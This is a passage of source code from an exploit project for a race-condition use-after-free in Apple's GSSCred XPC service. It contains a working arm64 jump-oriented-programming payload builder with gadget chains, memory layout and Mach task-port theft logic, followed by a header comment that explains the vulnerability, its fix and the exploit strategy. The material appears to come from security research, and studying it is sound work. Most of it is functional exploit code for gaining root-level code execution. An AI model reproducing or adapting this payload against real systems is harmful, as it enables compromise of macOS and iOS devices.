| * ;; This is our dispatch gadget. It reads gadgets to execute from a "linked 140 | * ;; list" JOP stack. 141 | * 142 | * LDP_X3_X2_X2__BR_X3 (CoreFoundation, Heimdal): 143 | * ldp x3, x2, [x2] 144 | * br x3 145 | * x3 = ADD_X1_X21_X20__BLR_X8 146 | * pc = ADD_X1_X21_X20__BLR_X8 147 | * 148 | * ;; The first JOP stack we execute is JOP_STACK_INCREMENT_PORT_AND_BRANCH. We 149 | * ;; increment the remote Mach port via a register containing the combined remote 150 | * ;; and local port numbers, test if the remote Mach port is above the limit, and 151 | * ;; branch to either send the message and loop again or finish running the 152 | * ;; exploit payload. 153 | * 154 | * ADD_X1_X21_X20__BLR_X8 (libxml2): 155 | * add x1, x21, x20 156 | * blr x8 157 | * x1 = CURRENT_REMOTE_AND_LOCAL_PORT + PORT_INCREMENT = NEXT_REMOTE_AND_LOCAL_PORT 158 | * pc = LDP_X3_X2_X2__BR_X3 159 | * pc = MOV_X20_X1_BLR_X8 160 | * 161 | * MOV_X20_X1_BLR_X8 (libswiftCore, MediaPlayer): 162 | * mov x20, x1 163 | * blr x8 164 | * x20 = NEXT_REMOTE_AND_LOCAL_PORT 165 | * pc = LDP_X3_X2_X2__BR_X3 166 | * pc = STR_X1_X19_80__BLR_X8 167 | * 168 | * STR_X1_X19_80__BLR_X8 (libswiftCore): 169 | * str x1, [x19, #0x80] 170 | * blr x8 171 | * REGION_X19[80] = REGION_MACH_MESSAGE[8] = NEXT_REMOTE_AND_LOCAL_PORT 172 | * pc = LDP_X3_X2_X2__BR_X3 173 | * pc = MOV_X0_X26__BLR_X8 174 | * 175 | * MOV_X0_X26__BLR_X8 (common): 176 | * mov x0, x26 177 | * blr x8 178 | * x0 = MAX_REMOTE_AND_LOCAL_PORT 179 | * pc = LDP_X3_X2_X2__BR_X3 180 | * pc = SUB_X1_X1_X0__BLR_X8 181 | * 182 | * SUB_X1_X1_X0__BLR_X8 (libswiftCore): 183 | * sub x1, x1, x0 184 | * blr x8 185 | * x1 = NEXT_REMOTE_AND_LOCAL_PORT - MAX_REMOTE_AND_LOCAL_PORT 186 | * pc = LDP_X3_X2_X2__BR_X3 187 | * pc = MOV_X13_X1__BR_X8 188 | * 189 | * MOV_X13_X1__BR_X8 (CloudKitDaemon, MediaToolbox): 190 | * mov x13, x1 191 | * br x8 192 | * x13 = NEXT_REMOTE_AND_LOCAL_PORT - MAX_REMOTE_AND_LOCAL_PORT 193 | * pc = LDP_X3_X2_X2__BR_X3 194 | * pc = MOV_X9_X13__BR_X8 195 | * 196 | * MOV_X9_X13__BR_X8 (AirPlaySender, SafariShared): 197 | * mov x9, x13 198 | * br x8 199 | * x9 = NEXT_REMOTE_AND_LOCAL_PORT - MAX_REMOTE_AND_LOCAL_PORT 200 | * pc = LDP_X3_X2_X2__BR_X3 201 | * pc = MOV_X11_X24__BR_X8 202 | * 203 | * MOV_X11_X24__BR_X8 (AirPlayReceiver, CloudKitDaemon): 204 | * mov x11, x24 205 | * br x8 206 | * x11 = JOP_STACK_SEND_MACH_MESSAGE_AND_LOOP 207 | * pc = LDP_X3_X2_X2__BR_X3 208 | * pc = CMP_X9_0__CSEL_X1_X10_X9_EQ__BLR_X8 209 | * 210 | * ;; Compare x9 (NEXT_REMOTE_AND_LOCAL_PORT - MAX_REMOTE_AND_LOCAL_PORT) to 0. If 211 | * ;; x9 is less than 0, then NEXT_REMOTE_AND_LOCAL_PORT is less than 212 | * ;; MAX_REMOTE_AND_LOCAL_PORT, and so we should send the message and loop again. 213 | * ;; Otherwise, we should exit the loop. 214 | * 215 | * CMP_X9_0__CSEL_X1_X10_X9_EQ__BLR_X8 (TextInputCore): 216 | * cmp x9, #0 217 | * csel x1, x10, x9, eq 218 | * blr x8 219 | * nzcv = CMP(NEXT_REMOTE_AND_LOCAL_PORT - MAX_REMOTE_AND_LOCAL_PORT, 0) 220 | * x1 = CLOBBER 221 | * pc = LDP_X3_X2_X2__BR_X3 222 | * pc = MOV_X9_X22__BR_X8 223 | * 224 | * MOV_X9_X22__BR_X8 (MediaToolbox, StoreServices): 225 | * mov x9, x22 226 | * br x8 227 | * x9 = JOP_STACK_FINALIZE 228 | * pc = LDP_X3_X2_X2__BR_X3 229 | * pc = CSEL_X2_X11_X9_LT__BLR_X8 230 | * 231 | * CSEL_X2_X11_X9_LT__BLR_X8 (AppleCVA, libLLVM): 232 | * csel x2, x11, x9, lt 233 | * blr x8 234 | * if (NEXT_REMOTE_AND_LOCAL_PORT < MAX_REMOTE_AND_LOCAL_PORT) 235 | * x2 = JOP_STACK_SEND_MACH_MESSAGE_AND_LOOP 236 | * else 237 | * x2 = JOP_STACK_FINALIZE 238 | * pc = LDP_X3_X2_X2__BR_X3 239 | * if (NEXT_REMOTE_AND_LOCAL_PORT < MAX_REMOTE_AND_LOCAL_PORT) 240 | * pc = JOP_STACK_SEND_MACH_MESSAGE_AND_LOOP[0] 241 | * else 242 | * pc = JOP_STACK_FINALIZE[0] 243 | * 244 | * ;; If the conditional is true, we execute from 245 | * ;; JOP_STACK_SEND_MACH_MESSAGE_AND_LOOP. This JOP stack sends the Mach message 246 | * ;; and then runs the JOP_STACK_INCREMENT_PORT_AND_BRANCH stack again. 247 | * 248 | * MOV_X0_X27__BLR_X8 (common): 249 | * mov x0, x27 250 | * blr x8 251 | * x0 = REGION_MACH_MESSAGE 252 | * pc = LDP_X3_X2_X2__BR_X3 253 | * pc = BLR_X23__MOV_X0_X21__BLR_X25 254 | * 255 | * BLR_X23__MOV_X0_X21__BLR_X25 (MediaToolbox): 256 | * blr x23 257 | * mov x0, x21 258 | * blr x25 259 | * pc = mach_msg_send 260 | * x0 = PORT_INCREMENT 261 | * pc = LDP_X8_X2_X19__BLR_X8 262 | * 263 | * ;; If the conditional is false, we execute from JOP_STACK_FINALIZE. This JOP 264 | * ;; stack is responsible for ending execution of the exploit payload in a way 265 | * ;; that leaves the GSSCred process running. 266 | * ;; 267 | * ;; Ideally we'd do one of two things: 268 | * ;; - Return to the caller in a consistent state. The caller would then 269 | * ;; continue running as usual and release associated resources. 270 | * ;; - Cancel or suspend the current thread. This prevents further 271 | * ;; corruption and resource consumption, but leaks currently consumed 272 | * ;; resources. 273 | * ;; 274 | * ;; Unfortunately fixing the corruption seems difficult at best and 275 | * ;; pthread_exit() aborts in the current context. The only remaining good option 276 | * ;; is a live wait. For simplicity we simply enter an infinite loop. 277 | * 278 | * LDR_X8_X19_10__BLR_X8 (common): 279 | * ldr x8, [x19, #0x10] 280 | * blr x8 281 | * x8 = BLR_X8 282 | * pc = BLR_X8 283 | * 284 | * BLR_X8 (common): 285 | * blr x8 286 | * pc = BLR_X8 287 | * 288 | * ----------------------------------------------------------------------------------------------- 289 | * 290 | * 291 | * Memory layout 292 | * ------------- 293 | * 294 | * We can lay out memory for the payload as follows: 295 | * 296 | * 0 1 2 3 4 5 6 7 8 9 a b c d e f 297 | * +----------------------------------------------------------------+ 298 | * 0 |AACCCCCCAAAA KKKKKKKKLLLL DDDDDDBBBBBBBBBBBBBBBBBB BB | 299 | * 100 |BB JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ | 300 | * +----------------------------------------------------------------+ 301 | * 0 1 2 3 4 5 6 7 8 9 a b c d e f 302 | * 303 | * A = REGION_ARG1 = 0 - 30 @ 0 304 | * B = REGION_JMPBUF = 0 - 70 @ 98 305 | * C = REGION_X19 = 0 - 18 @ 8 306 | * D = REGION_MACH_MESSAGE = 0 - 18 @ 78 + REGION_X19 307 | * 308 | * J = JOP_STACK_INCREMENT_PORT_AND_BRANCH = 0 - b0 @ 120 309 | * K = JOP_STACK_SEND_MACH_MESSAGE_AND_LOOP = 0 - 20 @ 40 310 | * L = JOP_STACK_FINALIZE = 0 - 10 @ 60 311 | * 312 | */ 313 | 314 | #include "arm64/arm64_payload.h" 315 | 316 | #include "apple_private.h" 317 | #include "arm64/gadgets.h" 318 | #include "log.h" 319 | 320 | #include 321 | #include 322 | #include 323 | #include 324 | 325 | // Static assertions. 326 | static_assert(sizeof(mach_msg_header_t) == 0x18, "Unexpected size of mach_msg_header_t"); 327 | static_assert(__LITTLE_ENDIAN__, "Architecture is not little-endian"); 328 | 329 | // Check that all the necessary gadgets for this JOP payload are provided by the platform. 330 | static bool 331 | check_platform() { 332 | bool all_found = true; 333 | #define NEED(gadget) \ 334 | if (gadgets[gadget].address == 0) { \ 335 | DEBUG_TRACE(1, "Could not find gadget: %s", gadgets[gadget].str); \ 336 | all_found = false; \ 337 | } 338 | NEED(LDP_X1_X0_X0_20__BR_X1); 339 | NEED(LDP_X8_X2_X19__BLR_X8); 340 | NEED(LDP_X3_X2_X2__BR_X3); 341 | NEED(ADD_X1_X21_X20__BLR_X8); 342 | NEED(MOV_X20_X1_BLR_X8); 343 | NEED(STR_X1_X19_80__BLR_X8); 344 | NEED(MOV_X0_X26__BLR_X8); 345 | NEED(SUB_X1_X1_X0__BLR_X8); 346 | NEED(MOV_X13_X1__BR_X8); 347 | NEED(MOV_X9_X13__BR_X8); 348 | NEED(MOV_X11_X24__BR_X8); 349 | NEED(CMP_X9_0__CSEL_X1_X10_X9_EQ__BLR_X8); 350 | NEED(MOV_X9_X22__BR_X8); 351 | NEED(CSEL_X2_X11_X9_LT__BLR_X8); 352 | NEED(MOV_X0_X27__BLR_X8); 353 | NEED(BLR_X23__MOV_X0_X21__BLR_X25); 354 | NEED(LDR_X8_X19_10__BLR_X8); 355 | NEED(BLR_X8); 356 | #undef NEED 357 | return all_found; 358 | } 359 | 360 | #define ARRSIZE(x) (sizeof(x) / sizeof(x[0])) 361 | 362 | // Build the JOP payload. 363 | static void 364 | build_payload(uint8_t *payload) { 365 | // Mach ports increment by 4. 366 | const uint64_t PORT_INCREMENT = 4; 367 | 368 | // When the REMOTE_AND_LOCAL_PORT value is stored in the Mach message, it will be laid out 369 | // from least significant byte to most significant byte. This means the lower 4 bytes fill 370 | // out the remote port and the higher 4 bytes fill out the local port. We want the local 371 | // port to be 0x103, the constant value for mach_task_self(). 372 | const uint64_t INITIAL_REMOTE_AND_LOCAL_PORT = 0x0000010300000203 - PORT_INCREMENT; 373 | 374 | // The Mach port sent in the setattributes message tends to be allocated a low port number; 375 | // almost certainly it will be in the first 100000 ports. 376 | const uint64_t MAX_REMOTE_AND_LOCAL_PORT = INITIAL_REMOTE_AND_LOCAL_PORT + PORT_INCREMENT * 100000; 377 | 378 | // Unfortunately, using the _longjmp gadget to set x19 through x28 means we will also have 379 | // to replace sp. Since our payload will be sprayed to address 380 | // GSSCRED_RACE_PAYLOAD_ADDRESS, an address slightly below that will almost certainly be 381 | // mapped and available for use as a replacement stack address. 382 | const uint64_t FAKE_STACK_ADDRESS = GSSCRED_RACE_PAYLOAD_ADDRESS - GSSCRED_RACE_PAYLOAD_SIZE; 383 | 384 | // Define the offsets from the start of the payload to each of the memory regions. 385 | const ssize_t BASE = PAYLOAD_OFFSET_ARG1; 386 | const ssize_t OFFSET_REGION_ARG1 = BASE + 0x0; 387 | const ssize_t OFFSET_REGION_JMPBUF = BASE + 0x98; 388 | const ssize_t OFFSET_REGION_X19 = BASE + 0x8; 389 | const ssize_t OFFSET_REGION_MACH_MESSAGE = OFFSET_REGION_X19 + 0x78; 390 | const ssize_t OFFSET_JOP_STACK_INCREMENT_PORT_AND_BRANCH = BASE + 0x120; 391 | const ssize_t OFFSET_JOP_STACK_SEND_MACH_MESSAGE_AND_LOOP = BASE + 0x40; 392 | const ssize_t OFFSET_JOP_STACK_FINALIZE = BASE + 0x60; 393 | 394 | // Get the address of each of the memory regions in the local payload buffer. 395 | uint8_t *payload_INITIAL_PC = payload + PAYLOAD_OFFSET_PC; 396 | uint8_t *payload_REGION_ARG1 = payload + OFFSET_REGION_ARG1; 397 | uint8_t *payload_REGION_JMPBUF = payload + OFFSET_REGION_JMPBUF; 398 | uint8_t *payload_REGION_X19 = payload + OFFSET_REGION_X19; 399 | mach_msg_header_t *payload_REGION_MACH_MESSAGE = (mach_msg_header_t *) (payload + OFFSET_REGION_MACH_MESSAGE); 400 | uint8_t *payload_JOP_STACK_INCREMENT_PORT_AND_BRANCH = payload + OFFSET_JOP_STACK_INCREMENT_PORT_AND_BRANCH; 401 | uint8_t *payload_JOP_STACK_SEND_MACH_MESSAGE_AND_LOOP = payload + OFFSET_JOP_STACK_SEND_MACH_MESSAGE_AND_LOOP; 402 | uint8_t *payload_JOP_STACK_FINALIZE = payload + OFFSET_JOP_STACK_FINALIZE; 403 | 404 | // Get the address of each of the memory regions in the remote payload. 405 | const uint64_t ADDRESS = GSSCRED_RACE_PAYLOAD_ADDRESS; 406 | uint64_t address_REGION_JMPBUF = ADDRESS + OFFSET_REGION_JMPBUF; 407 | uint64_t address_REGION_X19 = ADDRESS + OFFSET_REGION_X19; 408 | uint64_t address_REGION_MACH_MESSAGE = ADDRESS + OFFSET_REGION_MACH_MESSAGE; 409 | uint64_t address_JOP_STACK_INCREMENT_PORT_AND_BRANCH = ADDRESS + OFFSET_JOP_STACK_INCREMENT_PORT_AND_BRANCH; 410 | uint64_t address_JOP_STACK_SEND_MACH_MESSAGE_AND_LOOP = ADDRESS + OFFSET_JOP_STACK_SEND_MACH_MESSAGE_AND_LOOP; 411 | uint64_t address_JOP_STACK_FINALIZE = ADDRESS + OFFSET_JOP_STACK_FINALIZE; 412 | 413 | // Set the initial PC value. 414 | *(uint64_t *)(payload_INITIAL_PC) = gadgets[LDP_X1_X0_X0_20__BR_X1].address; 415 | 416 | // Construct REGION_ARG1. 417 | *(uint64_t *)(payload_REGION_ARG1 + 0x20) = (uint64_t) _longjmp; 418 | *(uint64_t *)(payload_REGION_ARG1 + 0x28) = address_REGION_JMPBUF; 419 | 420 | // Construct REGION_JMPBUF. 421 | *(uint64_t *)(payload_REGION_JMPBUF + 0x0) = address_REGION_X19; 422 | *(uint64_t *)(payload_REGION_JMPBUF + 0x8) = INITIAL_REMOTE_AND_LOCAL_PORT; 423 | *(uint64_t *)(payload_REGION_JMPBUF + 0x10) = PORT_INCREMENT; 424 | *(uint64_t *)(payload_REGION_JMPBUF + 0x18) = address_JOP_STACK_FINALIZE; 425 | *(uint64_t *)(payload_REGION_JMPBUF + 0x20) = (uint64_t) mach_msg_send; 426 | *(uint64_t *)(payload_REGION_JMPBUF + 0x28) = address_JOP_STACK_SEND_MACH_MESSAGE_AND_LOOP; 427 | *(uint64_t *)(payload_REGION_JMPBUF + 0x30) = gadgets[LDP_X8_X2_X19__BLR_X8].address; 428 | *(uint64_t *)(payload_REGION_JMPBUF + 0x38) = MAX_REMOTE_AND_LOCAL_PORT; 429 | *(uint64_t *)(payload_REGION_JMPBUF + 0x40) = address_REGION_MACH_MESSAGE; 430 | *(uint64_t *)(payload_REGION_JMPBUF + 0x58) = gadgets[LDP_X8_X2_X19__BLR_X8].address; 431 | *(uint64_t *)(payload_REGION_JMPBUF + 0x68) = FAKE_STACK_ADDRESS; 432 | 433 | // Construct REGION_X19. 434 | *(uint64_t *)(payload_REGION_X19 + 0x0) = gadgets[LDP_X3_X2_X2__BR_X3].address; 435 | *(uint64_t *)(payload_REGION_X19 + 0x8) = address_JOP_STACK_INCREMENT_PORT_AND_BRANCH; 436 | *(uint64_t *)(payload_REGION_X19 + 0x10) = gadgets[BLR_X8].address; 437 | 438 | // Construct REGION_MACH_MESSAGE. 439 | payload_REGION_MACH_MESSAGE->msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND, 0, 0); 440 | payload_REGION_MACH_MESSAGE->msgh_size = sizeof(mach_msg_header_t); 441 | payload_REGION_MACH_MESSAGE->msgh_voucher_port = 0; 442 | payload_REGION_MACH_MESSAGE->msgh_id = EXPLOIT_MACH_MESSAGE_ID; 443 | 444 | // Values for constructing JOP chains. 445 | struct JOP_DISPATCH_NODE { 446 | uint64_t x3; 447 | uint64_t x2; 448 | } *payload_JOP_DISPATCH_NODE; 449 | uint64_t address_next_JOP_DISPATCH_NODE; 450 | 451 | // Construct JOP_STACK_INCREMENT_PORT_AND_BRANCH. 452 | unsigned JOP_STACK_INCREMENT_PORT_AND_BRANCH[] = { 453 | ADD_X1_X21_X20__BLR_X8, 454 | MOV_X20_X1_BLR_X8, 455 | STR_X1_X19_80__BLR_X8, 456 | MOV_X0_X26__BLR_X8, 457 | SUB_X1_X1_X0__BLR_X8, 458 | MOV_X13_X1__BR_X8, 459 | MOV_X9_X13__BR_X8, 460 | MOV_X11_X24__BR_X8, 461 | CMP_X9_0__CSEL_X1_X10_X9_EQ__BLR_X8, 462 | MOV_X9_X22__BR_X8, 463 | CSEL_X2_X11_X9_LT__BLR_X8, 464 | }; 465 | address_next_JOP_DISPATCH_NODE = address_JOP_STACK_INCREMENT_PORT_AND_BRANCH; 466 | payload_JOP_DISPATCH_NODE = (struct JOP_DISPATCH_NODE *) payload_JOP_STACK_INCREMENT_PORT_AND_BRANCH; 467 | for (size_t i = 0; i < ARRSIZE(JOP_STACK_INCREMENT_PORT_AND_BRANCH); i++) { 468 | address_next_JOP_DISPATCH_NODE += sizeof(*payload_JOP_DISPATCH_NODE); 469 | payload_JOP_DISPATCH_NODE->x3 = gadgets[JOP_STACK_INCREMENT_PORT_AND_BRANCH[i]].address; 470 | payload_JOP_DISPATCH_NODE->x2 = address_next_JOP_DISPATCH_NODE; 471 | payload_JOP_DISPATCH_NODE++; 472 | } 473 | 474 | // Construct JOP_STACK_SEND_MACH_MESSAGE_AND_LOOP. 475 | unsigned JOP_STACK_SEND_MACH_MESSAGE_AND_LOOP[] = { 476 | MOV_X0_X27__BLR_X8, 477 | BLR_X23__MOV_X0_X21__BLR_X25, 478 | }; 479 | address_next_JOP_DISPATCH_NODE = address_JOP_STACK_SEND_MACH_MESSAGE_AND_LOOP; 480 | payload_JOP_DISPATCH_NODE = (struct JOP_DISPATCH_NODE *) payload_JOP_STACK_SEND_MACH_MESSAGE_AND_LOOP; 481 | for (size_t i = 0; i < ARRSIZE(JOP_STACK_SEND_MACH_MESSAGE_AND_LOOP); i++) { 482 | address_next_JOP_DISPATCH_NODE += sizeof(*payload_JOP_DISPATCH_NODE); 483 | payload_JOP_DISPATCH_NODE->x3 = gadgets[JOP_STACK_SEND_MACH_MESSAGE_AND_LOOP[i]].address; 484 | payload_JOP_DISPATCH_NODE->x2 = address_next_JOP_DISPATCH_NODE; 485 | payload_JOP_DISPATCH_NODE++; 486 | } 487 | 488 | // Construct JOP_STACK_FINALIZE. 489 | unsigned JOP_STACK_FINALIZE[] = { 490 | LDR_X8_X19_10__BLR_X8, 491 | }; 492 | address_next_JOP_DISPATCH_NODE = address_JOP_STACK_FINALIZE; 493 | payload_JOP_DISPATCH_NODE = (struct JOP_DISPATCH_NODE *) payload_JOP_STACK_FINALIZE; 494 | for (size_t i = 0; i < ARRSIZE(JOP_STACK_FINALIZE); i++) { 495 | address_next_JOP_DISPATCH_NODE += sizeof(*payload_JOP_DISPATCH_NODE); 496 | payload_JOP_DISPATCH_NODE->x3 = gadgets[JOP_STACK_FINALIZE[i]].address; 497 | payload_JOP_DISPATCH_NODE->x2 = address_next_JOP_DISPATCH_NODE; 498 | payload_JOP_DISPATCH_NODE++; 499 | } 500 | } 501 | 502 | static enum process_exploit_message_result 503 | process_message(const mach_msg_header_t *exploit_message, 504 | mach_port_t *task_port, mach_port_t *thread_port) { 505 | enum process_exploit_message_result result = PROCESS_EXPLOIT_MESSAGE_RESULT_CONTINUE; 506 | // The task port is stored in the remote_port field of the header. 507 | mach_port_t task = exploit_message->msgh_remote_port; 508 | bool task_valid = check_task_port(task); 509 | if (!task_valid) { 510 | goto fail_0; 511 | } 512 | // At this point the exploit message was valid and contained a task port, so any failure 513 | // means we should kill the target process before retrying. 514 | result = PROCESS_EXPLOIT_MESSAGE_RESULT_KILL_AND_RETRY; 515 | // We will find the thread by iterating through the existing threads until we find which 516 | // one is stalled in the infinite loop. 517 | thread_act_array_t threads = NULL; 518 | mach_msg_type_number_t thread_count = 0; 519 | kern_return_t kr = task_threads(task, &threads, &thread_count); 520 | if (kr != KERN_SUCCESS) { 521 | ERROR("Could not get threads for task: %x", kr); 522 | goto fail_1; 523 | } 524 | // Loop through the threads until one of them is stuck at our expected PC. 525 | DEBUG_TRACE(2, "thread_count: %u", thread_count); 526 | mach_port_t thread = MACH_PORT_NULL; 527 | const size_t MAX_TRIES = 10000000; 528 | for (size_t try = 0;; try++) { 529 | bool any = false; 530 | for (size_t i = 0; i < thread_count; i++) { 531 | arm_thread_state64_t thread_state; 532 | mach_msg_type_number_t thread_state_count = ARM_THREAD_STATE64_COUNT; 533 | kr = thread_get_state(threads[i], ARM_THREAD_STATE64, 534 | (thread_state_t) &thread_state, &thread_state_count); 535 | if (kr != KERN_SUCCESS) { 536 | WARNING("Could not get thread state for thread %x", threads[i]); 537 | continue; 538 | } 539 | any = true; 540 | if (thread_state.__x[8] == thread_state.__pc 541 | && thread_state.__pc == gadgets[BLR_X8].address) { 542 | thread = threads[i]; 543 | DEBUG_TRACE(1, "Exploit thread is %x", thread); 544 | goto found; 545 | } 546 | } 547 | // If none of the thread ports are giving status info, something's fishy. 548 | if (!any) { 549 | ERROR("Could not get thread state for any thread"); 550 | goto fail_2; 551 | } 552 | // If we just can't seem to find the thread, give up. 553 | if (try >= MAX_TRIES) { 554 | ERROR("No thread appears to be running the exploit payload " 555 | "after %zu tries", try); 556 | goto fail_2; 557 | } 558 | } 559 | found: 560 | result = PROCESS_EXPLOIT_MESSAGE_RESULT_SUCCESS; 561 | *task_port = task; 562 | *thread_port = thread; 563 | fail_2: 564 | for (size_t i = 0; i < thread_count; i++) { 565 | if (threads[i] != thread) { 566 | mach_port_deallocate(mach_task_self(), threads[i]); 567 | } 568 | } 569 | mach_vm_deallocate(mach_task_self(), (mach_vm_address_t) threads, 570 | thread_count * sizeof(threads[0])); 571 | fail_1: 572 | if (result != PROCESS_EXPLOIT_MESSAGE_RESULT_SUCCESS) { 573 | mach_port_deallocate(mach_task_self(), task); 574 | } 575 | fail_0: 576 | return result; 577 | } 578 | 579 | const struct payload_strategy payload_strategy_1 = { 580 | .check_platform = check_platform, 581 | .build_payload = build_payload, 582 | .process_message = process_message, 583 | }; 584 | -------------------------------------------------------------------------------- /gsscred_race/gsscred_race.c: -------------------------------------------------------------------------------- 1 | /* 2 | * gsscred-race 3 | * Brandon Azad 4 | * 5 | * 6 | * gsscred-race 7 | * ================================================================================================ 8 | * 9 | * gsscred-race is an exploit for a race condition found in the com.apple.GSSCred XPC service, 10 | * which runs as root on macOS and iOS (although it is sandboxed on iOS) and which can be reached 11 | * from within the default iOS application sandbox. By creating parallel connections to the 12 | * GSSCred service we can trigger a use-after-free condition leading to a call to objc_msgSend() 13 | * on a controlled pointer, eventually leading to code execution inside the GSSCred process. 14 | * 15 | * 16 | * The vulnerability 17 | * ------------------------------------------------------------------------------------------------ 18 | * 19 | * The GSSCred service first creates a serial dispatch queue and initializes the XPC connection 20 | * listener to run on that queue: 21 | * 22 | * runQueue = dispatch_queue_create("com.apple.GSSCred", DISPATCH_QUEUE_SERIAL); 23 | * heim_assert(runQueue != NULL, "dispatch_queue_create failed"); 24 | * 25 | * conn = xpc_connection_create_mach_service("com.apple.GSSCred", 26 | * runQueue, 27 | * XPC_CONNECTION_MACH_SERVICE_LISTENER); 28 | * 29 | * xpc_connection_set_event_handler(conn, ^(xpc_object_t object) { 30 | * GSSCred_event_handler(object); 31 | * }); 32 | * 33 | * The XPC runtime will dispatch a call to GSSCred_event_handler() each time an event is received 34 | * on the listener connection. In particular, when a client creates a connection to 35 | * com.apple.GSSCred and sends the first XPC message, GSSCred_event_handler() will be invoked with 36 | * the server-side XPC connection object. 37 | * 38 | * Using a serial dispatch queue is important for clients that don't specifically implement 39 | * support for parallel connections (for example, by protecting concurrent object accesses with 40 | * locks). GSSCred does not implement any locking, relying on the serial processing of XPC events 41 | * to protect against race conditions. 42 | * 43 | * The GSSCred_event_handler() function is responsible for initializing an incoming client 44 | * connection. It creates a server-side "peer" object to represent the connection context and sets 45 | * the event handler that the XPC runtime will call when an event (such as a message from the 46 | * client) is received on the connection: 47 | * 48 | * static void GSSCred_event_handler(xpc_connection_t peerconn) 49 | * { 50 | * struct peer *peer; 51 | * 52 | * peer = malloc(sizeof(*peer)); 53 | * heim_assert(peer != NULL, "out of memory"); 54 | * 55 | * peer->peer = peerconn; 56 | * peer->bundleID = CopySigningIdentitier(peerconn); 57 | * if (peer->bundleID == NULL) { 58 | * ... 59 | * } 60 | * peer->session = HeimCredCopySession(xpc_connection_get_asid(peerconn)); 61 | * heim_assert(peer->session != NULL, "out of memory"); 62 | * 63 | * xpc_connection_set_context(peerconn, peer); 64 | * xpc_connection_set_finalizer_f(peerconn, peer_final); 65 | * 66 | * xpc_connection_set_event_handler(peerconn, ^(xpc_object_t event) { 67 | * GSSCred_peer_event_handler(peer, event); 68 | * }); 69 | * xpc_connection_resume(peerconn); 70 | * } 71 | * 72 | * The problem is that the target dispatch queue for the connection to the client ("peerconn" in 73 | * the code) was never specified, and therefore defaults to libdispatch's default target queue, 74 | * DISPATCH_TARGET_QUEUE_DEFAULT, which is a concurrent queue. From the documentation for 75 | * xpc_connection_set_event_handler() in xpc/connection.h: 76 | * 77 | * Connections received by listeners are equivalent to those returned by 78 | * xpc_connection_create() with a non-NULL name argument and a NULL targetq 79 | * argument with the exception that you do not hold a reference on them. 80 | * You must set an event handler and activate the connection. 81 | * 82 | * And here's the documentation from xpc_connection_create() about the targetq parameter: 83 | * 84 | * @param targetq 85 | * The GCD queue to which the event handler block will be submitted. This 86 | * parameter may be NULL, in which case the connection's target queue will be 87 | * libdispatch's default target queue, defined as DISPATCH_TARGET_QUEUE_DEFAULT. 88 | * The target queue may be changed later with a call to 89 | * xpc_connection_set_target_queue(). 90 | * 91 | * Thus, setting the target queue for the listener connection only is not sufficient: client 92 | * connections will be received serially in the listener event handler, but the event handlers for 93 | * different client connections can run in parallel. 94 | * 95 | * The XPC documentation about concurrent execution of event handlers in different clients may be 96 | * misleading at first glance. The documentation for xpc_connection_set_target_queue() states: 97 | * 98 | * The XPC runtime guarantees this non-preemptiveness even for concurrent target 99 | * queues. If the target queue is a concurrent queue, then XPC still guarantees 100 | * that there will never be more than one invocation of the connection's event 101 | * handler block executing concurrently. If you wish to process events 102 | * concurrently, you can dispatch_async(3) to a concurrent queue from within 103 | * the event handler. 104 | * 105 | * It's important to understand that this guarantee is strictly per-connection: event handler 106 | * blocks for different connections, even if they share the same underlying code, are considered 107 | * different event handler blocks and are allowed to run concurrently. 108 | * 109 | * The fix for this issue in GSSCred is to insert a call to xpc_connection_set_target_queue() 110 | * before activating the client connection with xpc_connection_resume() to set the target 111 | * queue for the client connection to the serial queue created earlier. For example: 112 | * 113 | * xpc_connection_set_event_handler(peerconn, ^(xpc_object_t event) { 114 | * GSSCred_peer_event_handler(peer, event); 115 | * }); 116 | * xpc_connection_set_target_queue(peerconn, runQueue); // added 117 | * xpc_connection_resume(peerconn); 118 | * 119 | * This will guarantee that all client requests across all connections will be handled serially. 120 | * 121 | * 122 | * Exploit strategy 123 | * ------------------------------------------------------------------------------------------------ 124 | * 125 | * There are several ways to exploit this race condition, with varying levels of difficulty. After 126 | * much experimentation, I eventually settled on triggering a use-after-free in the function 127 | * do_SetAttrs() by invoking the do_Delete() function in parallel from another connection. 128 | * 129 | * Ihere may be better ways to exploit this bug, and it's certainly possible to improve exploit 130 | * reliability above what I've achieved here. 131 | * 132 | * 133 | * Creating a use-after-free 134 | * ------------------------- 135 | * 136 | * The do_SetAttrs() function handles the "setattributes" command from the client. Here is the 137 | * code (edited for presentation): 138 | * 139 | * static void 140 | * do_SetAttrs(struct peer *peer, xpc_object_t request, xpc_object_t reply) 141 | * { 142 | * CFUUIDRef uuid = HeimCredCopyUUID(request, "uuid"); 143 | * CFMutableDictionaryRef attrs; 144 | * CFErrorRef error = NULL; 145 | * 146 | * if (uuid == NULL) 147 | * return; 148 | * 149 | * if (!checkACLInCredentialChain(peer, uuid, NULL)) { 150 | * CFRelease(uuid); 151 | * return; 152 | * } 153 | * 154 | * HeimCredRef cred = (HeimCredRef)CFDictionaryGetValue( // (a) The credential 155 | * peer->session->items, uuid); // pointer is copied to 156 | * CFRelease(uuid); // the stack. 157 | * if (cred == NULL) 158 | * return; 159 | * 160 | * heim_assert(CFGetTypeID(cred) == HeimCredGetTypeID(), 161 | * "cred wrong type"); 162 | * 163 | * if (cred->attributes) { 164 | * attrs = CFDictionaryCreateMutableCopy(NULL, 0, 165 | * cred->attributes); 166 | * if (attrs == NULL) 167 | * return; 168 | * } else { 169 | * attrs = CFDictionaryCreateMutable(NULL, 0, 170 | * &kCFTypeDictionaryKeyCallBacks, 171 | * &kCFTypeDictionaryValueCallBacks); 172 | * } 173 | * 174 | * CFDictionaryRef replacementAttrs = // (b) The attributes dict 175 | * HeimCredMessageCopyAttributes( // is deserialized from 176 | * request, "attributes", // the XPC message. 177 | * CFDictionaryGetTypeID()); 178 | * if (replacementAttrs == NULL) { 179 | * CFRelease(attrs); 180 | * goto out; 181 | * } 182 | * 183 | * CFDictionaryApplyFunction(replacementAttrs, 184 | * updateCred, attrs); 185 | * CFRELEASE_NULL(replacementAttrs); 186 | * 187 | * if (!validateObject(attrs, &error)) { // (c) The deserialized 188 | * addErrorToReply(reply, error); // attributes dict is 189 | * goto out; // validated. 190 | * } 191 | * 192 | * handleDefaultCredentialUpdate(peer->session, // (d) The credential 193 | * cred, attrs); // pointer from (a) is 194 | * // used. 195 | * // make sure the current caller is on the ACL list 196 | * addPeerToACL(peer, attrs); 197 | * 198 | * CFRELEASE_NULL(cred->attributes); 199 | * 